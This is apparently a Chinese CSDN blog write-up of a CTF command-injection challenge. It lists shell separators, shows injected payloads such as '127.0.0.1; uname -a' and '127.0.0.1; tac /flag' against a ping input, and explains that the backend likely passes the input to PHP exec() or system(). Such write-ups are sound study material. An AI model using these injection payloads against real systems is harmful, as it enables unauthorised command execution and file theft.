CTF命令注入

常用命令分隔符

python 复制代码
;        # 顺序执行多条命令
|        # 管道符,将前命令输出作为后命令输入
||       # 前命令失败则执行后命令
&        # 后台执行
&&       # 前命令成功则执行后命令
$(cmd)   # 命令替换
`cmd`    # 命令替换(反引号)

实际利用步骤

(1)探测系统信息:127.0.0.1; uname -a

(2)列出目录文件:127.0.0.1; ls /

(3)读取flag文件:127.0.0.1; tac /flag

漏洞特征分析

1。技术实现推测:

根据返回结果的特征和题目的名称,推测后端可能使用了PHP的exec()或system()等命令执行函数

这些函数能够直接调用系统shell执行命令

2.漏洞类型判断:

基于"用户输入直接拼接系统命令"的典型模式

结合题目提示和初步实验结果

初步判定存在命令注入漏洞(Command Injection)

3.验证方向:

需要进一步测试是否存在命令分隔符注入可能

验证是否能够执行非PING相关系统命令


版权声明:本文为CSDN博主「一只枷锁」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/2402_84408069/article/details/149840438

相关推荐
m0_7381207213 小时前
sqli-labs过关解析(17- 20附带源码解析)
数据库·sql·web安全·php·ctf·安全性测试
大地的一角16 小时前
(计算机网络)网络基础
计算机网络
tobias.b18 小时前
408真题解析-2010-40-计算机网络-域名解析
网络·计算机网络·计算机考研·408真题解析
Pure_White_Sword1 天前
bugku-reverse题目-NoString
网络安全·ctf·reverse·逆向工程
饮长安千年月2 天前
玄机-工控题
ctf·s7·流量分析·西门子协议
EmmaXLZHONG2 天前
分布式系统概念与设计笔记(Notes of Distributed Systems Concepts and Design)
笔记·分布式·网络协议·计算机网络
林姜泽樾2 天前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
wangjialelele2 天前
万字整理计算机网络知识点
linux·c语言·网络·c++·计算机网络·php
REDcker2 天前
FTP协议原理及应用精解
linux·后端·计算机网络·互联网·ftp·服务端开发
8125035333 天前
DNS监控:生产实践
linux·网络·网络协议·tcp/ip·计算机网络